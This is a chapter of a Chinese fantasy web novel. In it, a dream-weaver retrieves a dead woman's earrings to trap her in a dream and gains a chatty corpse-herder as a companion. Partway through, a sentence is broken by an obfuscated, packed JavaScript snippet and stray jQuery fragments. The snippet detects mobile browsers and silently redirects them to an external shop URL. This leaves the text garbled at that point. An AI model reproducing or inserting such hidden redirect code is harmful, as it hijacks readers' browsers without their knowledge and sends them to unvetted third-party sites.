文趣网 > 其他小说 > 与男扮女装剑尊共梦后 > 24. 耳坠
    轻微的落地声从曾家的围墙边传来,月色映照出两道人影。

    黑白道袍的少年飞快朝周围扫了一眼,确认无事后抬起头,看着跨坐在围墙上,垂落着鹅黄色裙边的少女。

    他只看了一眼又飞快别开,低低说道:“白榆,下来吧,这里很安全。”

    白榆有些苦恼地晃了晃脚,绣鞋随着她的动作在裙摆里若隐若现。

    这墙看起来有些高,刚刚上来的时候尚且没有什么感觉,现在坐在上头从上往下看——

    确实不矮,摔下去虽然不至于受伤,但一定会痛。

    见迟迟没有动作,闻玉生意识到她在害怕。

    他低垂着眼,耳根微红,“要,要我上去把你带下来吗?”

    他这一声虽低,但白榆还是听到了。她回过神来,有些尴尬摆了摆手,“不用,我自己可以。”

    笑话,大家都是凡间的异能术士,他驱鬼人都可以,她肯定也不能给入梦师抹黑。

    咬了咬牙,双眼一闭,风声在耳边呼啸,心跳陡然加快。

    不过须臾,双脚落地,安然无恙。

    白榆心有余悸地拍了拍自己,“好了,你在这里看着,我去找信物。”

    黑压压的曾府落入眼中,周遭空气一下子变得粘稠、窒息。

    她咬了咬唇。

    本来他们是无需走这一趟的。

    闻玉生当日用缚鬼咒困住了曾家老夫人,原打算就地诛杀。但她抬手阻止了。

    囚梦术可以用在阿杏和孙扬身上,那么一定也可以用在曾母身上。

    她有一个想法。

    当初顾星提及的曾母给那魔物洗去浊气的那水,她很想知道是什么。她要在给曾母的梦里把这件事搞清楚。

    踏入曾母曾经住过的房间,她没有点灯,眼睛习惯了黑暗后,便朝前摸去。

    刚走出几步,突然,身后传来另一重脚步声。

    白榆动作一僵,她没有扭头。短短一瞬间,脑子把上辈子和这辈子看过的鬼故事都想了一遍,很快又意识到对方有脚步声,大概率是人。

    但也不一定,万一是头朝下的鬼呢。

    一时之间竟不知道对方是鬼好一点,还是人好一点。

    这一瞬间她无比怀念沈秋在她身边的日子。

    不可否认,那么面容秀美的女修确实给了她足够的安全感。

    身后的脚步声逼近,直到微弱的火光照亮了她的侧脸。

    紧接着,她就听到……

    “居然是人?活人?天哪,胆子好大的活人,还是漂亮姑娘,阿普军师在上,如果能赶她的尸,这一趟我陈郁可以不要钱……”

    身后之人嘀咕了好久都没嘀咕完。

    白榆听得满头大汗。

    警报解除。

    她确定了,对方是活人,短短一瞬间,她已经知道了,他叫陈郁,家里三口人,三代单传,世代赶尸匠,母胎单身未婚配,但喜欢邻居家的小花,这一次是赶尸路过靖州城知道曾家的事情过来探一探。

    哦,小花今年出嫁了,新郎不是他。

    就在对方已经准备把他的赶尸秘诀也说出来的时候。

    白榆毛骨悚然,急忙打住,“这位朋友。”

    陈郁话音一停,“对不起,是我说太久了,忘记了你还在这里,不过不用担心,我会尽量控制自己,不说这么多的,对了,你知道吗?这家老凶了,那曾母死了,儿子现在都没找到……”

    那口气还没松下去,对方又要开始。

    白榆哭笑不得,她还是第一次遇到这么话痨的赶尸匠。

    赶尸匠一脉不都是性格低调,沉默寡言的吗?!

    他跟他的名字一点都不搭!

    她只好再次打断,然后飞快进行一顿自我介绍,“我是入梦师白榆,此次来是为了寻曾家老夫人信物的,只要能找到,就能把她囚在梦里……”

    白榆又跟他简单讲了讲曾家的事情。

    陈郁听完,恍然大悟,“所以那曾家公子不是失踪,是被魔物吃掉了?那你们报官了吗?我跟你说……”

    眼看对方又要滔滔不绝,白榆忍无可忍,找出一包黏黏糖。

    她捧着糖,笑容扭曲,“陈郁是吧?吃糖吗?这是见面礼,吃过我们就算认识了。”

    看着她手里的那包糖,陈郁一停,那双明亮的眼睛瞬间感动到快要流出泪来,“给我的?那我不客气了。”

    这还是长这么大第一次有人给他分享零嘴。

    同是异能术士,赶尸匠比其他异能术士更不受欢迎,甚至连其他异能术士都不喜欢跟他们打交道。

    更别给他糖吃了。

    这朋友他交定了!

    这糖真甜!就是有点黏嘴……

    “对了,白榆,你说你要找什么?”他含糊不清地问道。

    白榆斜了他一眼,见他嘴里含着糖,话果然不多了,心中满意,“信物。”

    她目光移到梳妆台,那里有一把梳子。

    梳子也可以。

    她刚准备转身朝那边走去,脚刚抬起,忽然袖子一紧,被陈郁拉住了。

    少年嘴巴含着糖,一动一动的,显然嚼得十分艰难。手从怀里掏了掏,摸出一对耳坠来。

    白榆眼尖,一看便知道不是什么少女款式。心中顿时有了个不好的猜想。

    “这不会是……”

    “我刚刚进来找到的,我瞧着这玩意挺值钱,打算送给我娘,不过现在你要找信物,那就给你了。”陈郁把耳坠递了过去,“毕竟你是我新交的朋友。”

    谢谢,一点也不想成为他口中“新交的朋友”。

    白榆黑着脸接过那对耳坠,目光一转,扭过头对他说:“对了,跟我一起来的还有一位驱鬼人,在外头等我,我现在要用囚梦术了,你把他喊过来守在门外,帮我看着点。”

    死道友不死贫道,这么难对付的人就交给闻玉生吧。

    陈郁嘴巴里全是黏糊糊的糖,一说话便察觉到牙齿开合间的黏意,没说什么,点了点头,便出了房门。

    打发走了这话很多的赶尸匠,白榆舒了口气。回忆了下之前施展的囚梦术。

    重走了一遍上次走过的流程。

    最后,她躺在床上闭上了眼。

    就让曾家老夫人在梦里有两个双胞胎儿子,一个中状元,一个中探花,金榜题名,母慈子孝,儿孙绕膝吧。

    至于双胞胎一个状元一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668625|207004||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    探花在本朝有没有这种可能,那不重要,都做梦了,还求什么真实?

    ……

    入梦师入梦消耗心神,施展囚梦术尤甚。

    白榆从床上睁开眼,皱着眉揉了揉发紧的额头,就好像有人在脑子里拿着锤子高喊“八十、八十”。

    随着指尖的轻轻揉动,那股不适终于缓解了一些,她抬眼看向窗外,天还是黑的。

    打更人“子夜三更,平安无事”的喊声伴随着敲锣声传入屋内。

    她摸索了一下,无意间摸到了床上老式的绣样。

    又想起了躺在床上时,那属于曾母令人不适的味道。

    老实说,她不喜欢睡别人的床,但工作需要,没有办法。

    不过虽然难受了点,但也不是全无收获,想知道的已经知道了。

    她收回手,双脚在床边摸索了一下找到自己的靴子。

    走到门前打开门时,看到的便是两个守在门前的少年,一人披着黑白道袍,一人穿着玄色短打。

    嘴里那颗糖早就吃完了,陈郁吱吱喳喳,滔滔不绝,喋喋不休。

    闻玉生垂着眼,擦着剑,好像在听,又好像没在听。

    觉察到身后门响,两人齐齐看了过来。

    “搞定了?”陈郁第一个凑了过来,“搞定了我们就走吧,对了白榆你说的那个囚梦术是什么?我好像没见入梦师懂这个啊,刚刚听闻玉生说你可以把曾家老夫人囚在梦里,不用灭了她,是真的吗?之后她不会作恶了吗……”

    又开始了。

    白榆头痛地揉了揉眉心,“陈郁你要不要再吃一颗糖?”

    陈郁一顿,“不吃,好不容易收到的见面礼,我要省着点吃。”

    “没关系,我还有很多。”

    “那太破费了,我娘说……”

    “我太累了,需要安静一下。”

    陈郁沉默了一瞬,“好的。”

    耳根总算清净了。

    分开!

    一出曾家大门就要跟他分开!

    白榆恶狠狠地想,抬脚就朝着来路走去。

    然而,事与愿违。

    片刻后,马车前。

    “……囚梦术囚鬼不杀,很厉害,我想跟着你,见识见识。”

    “……我跟你们同路,不介意捎我一程吧?而且你这样的入梦师我也没见过,你都带他了,带一个也是带,两个也是带。”

    鹅黄色长裙的少女闭上了眼,带闻玉生她没意见,因为她缺个保镖,但陈郁她真不想带。

    怎么会有话这么密的赶尸匠?!

    见她脸色不虞,陈郁难得地沉默了,片刻后开口,“你是不是也不喜欢跟赶尸匠玩?”

    说完这句话,他难得沉默,看向白榆的眼神就像是一条好不容易找到主人后又被抛弃的流浪狗。

    白榆心头一软,脑海中不由自主回想起小时候自己被玩伴拒绝的模样。

    异能术士都不跟异能术士做朋友了,还能跟谁做朋友?

    她咬了咬牙,“你要跟我们一起,可以,但是以后你每次只能说一句话。”

    只要他不那么话痨,她还是愿意带的,反正有马车。

    明月洒满前路。